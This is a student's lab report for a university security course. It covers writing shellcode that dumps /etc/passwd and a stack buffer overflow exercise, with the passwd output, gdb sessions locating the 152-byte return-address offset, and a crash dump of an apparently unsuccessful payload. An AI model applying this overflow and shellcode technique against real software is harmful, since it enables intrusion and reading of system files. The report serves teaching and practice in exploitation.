

Alisha Patel

I pledge my honor that I have abided by the Stevens Honor System.

Task 1: Writing the Shellcode

```
(kali㉿kali)-[/mnt/CS576VM/lab7/sc_exploit]
$ ./shellcode64.bin
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
```

Task 2: Exercise

To get the distance between the address of buf1 and the return address; need to get the buf1 address through p &buf1, and the return address through info frame. The start address is 0x7fffffffdbf0 and the return address is 0x7fffffffdc88. The difference between these addresses is 152. Adding the buffer address in the exploit file, by flipping the buffer address because the system is little endian. (I couldn't get it to print the etc passwd file for some reason).

```

Starting program: /mnt/CS576VM/lab7/exercise-64 <<(python -c "print('A' * 10)")

Breakpoint 1, copy (str=0x49f0a0 <mybuf> "AAAAAAAAA\n") at exercise.c:10
10         int i = 0;
(gdb) s
12         strcpy(buf1, str);
(gdb) s
14     }
(gdb) p &buf1
$1 = (char (*)[128]) 0x7fffffffdbf0
(gdb) x/48x $rsp
0x7fffffffdbef: 0x0000003e8      0x000000000      0x0049f0a0      0x000000000
0x7fffffffdbf0: 0x41414141      0x41414141      0x000a4141      0x000000000
0x7fffffffdbf1: 0x000000000      0x000000000      0x65fc3b8c      0x000000000
0x7fffffffdbf2: 0x21059398      0x000000000      0x65fc3b8c      0x000000000
0x7fffffffdbf3: 0x21059398      0x000000000      0x65fc3b8c      0x000000000
0x7fffffffdbf4: 0x21059398      0x000000000      0x0049d500      0x000000000
0x7fffffffdbf5: 0x0049eb00      0x000000000      0x00420547      0x000000000
0x7fffffffdbf6: 0x000000000      0x000000000      0xb9a95e00      0xc9d4771f
0x7fffffffdbf7: 0x0049d500      0x000000000      0x0049d500      0x000000000
0x7fffffffdbf8: 0x000000000      0x000000000      0x00000ff5      0x000000000
0x7fffffffdbf9: 0xffffdd20      0x00007fff      0x004017fb      0x000000000
0x7fffffffdbfa: 0x00001000      0x00000000      0x0049f0a0      0x000000000
(gdb) info frame
Stack level 0, frame at 0x7fffffffdbf0:
 rip = 0x4017d7 in copy (exercise.c:14); saved rip = 0x4017fb
 called by frame at 0x7fffffffdb30
 source language c.
 Arglist at 0x7fffffffdb80, args: str=0x49f0a0 <mybuf> "AAAAAAAAA\n"
 Locals at 0x7fffffffdb80, Previous frame's sp is 0x7fffffffdbf0
 Saved registers:
  rbp at 0x7fffffffdb80, rip at 0x7fffffffdbf0

```

```

gdb-peda$ r < payload
Starting program: /mnt/CS576VM/lab7/sc_exploit/exercise-64 < payload
[Inferior 1 (process 195450) exited normally]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

```

```

RCX: 0x0
RDX: 0x7fffffffdbce → 0x499de80000
RSI: 0x49f1c0 → 0x0
RDI: 0x7fffffffdba0 → 0xef4952bdbfef3148
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdc38 ('A' <repeats 118 times>, "♦♦♦♦♦\n")
RIP: 0x4017d9 (<copy+52>: ret)
R8 : 0xfefefefefefeff
R9 : 0xfeff09bcbeebcbe
R10: 0x1000
R11: 0x246
R12: 0x7fffffffdeb8 → 0x7ffffffe222 ("/mnt/CS576VM/lab7/sc_exploit/exercise-64")
R13: 0x499de8 → 0x401770 (<frame_dummy>: endbr64)
R14: 0x1
R15: 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
0x4017d2 <copy+45>: call 0x401018
0x4017d7 <copy+50>: nop
0x4017d8 <copy+51>: leave
⇒ 0x4017d9 <copy+52>: ret
0x4017da <f1>: push rbp
0x4017db <f1+1>: mov rbp, rsp
0x4017de <f1+4>: sub rsp, 0x90
0x4017e5 <f1+11>: mov QWORD PTR [rbp-0x88], rdi
[-----stack-----]
0000| 0x7fffffffdc38 ('A' <repeats 118 times>, "♦♦♦♦♦\n")
0008| 0x7fffffffdc40 ('A' <repeats 110 times>, "♦♦♦♦♦\n")
0016| 0x7fffffffdc48 ('A' <repeats 102 times>, "♦♦♦♦♦\n")
0024| 0x7fffffffdc50 ('A' <repeats 94 times>, "♦♦♦♦♦\n")
0032| 0x7fffffffdc58 ('A' <repeats 86 times>, "♦♦♦♦♦\n")
0040| 0x7fffffffdc60 ('A' <repeats 78 times>, "♦♦♦♦♦\n")
0048| 0x7fffffffdc68 ('A' <repeats 70 times>, "♦♦♦♦♦\n")
0056| 0x7fffffffdc70 ('A' <repeats 62 times>, "♦♦♦♦♦\n")
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004017d9 in copy (
    str=0x49f0a0 <mybuf> "H1•RI•/bin/catARH•RI•c/passwdARI•////etARH•RQWH•♦♦;H♦♦•H1•I@:@tac/nib/
    dwssap/cte////", 'A' <repeats 82 times> ...) at exercise.c:14
14
}

```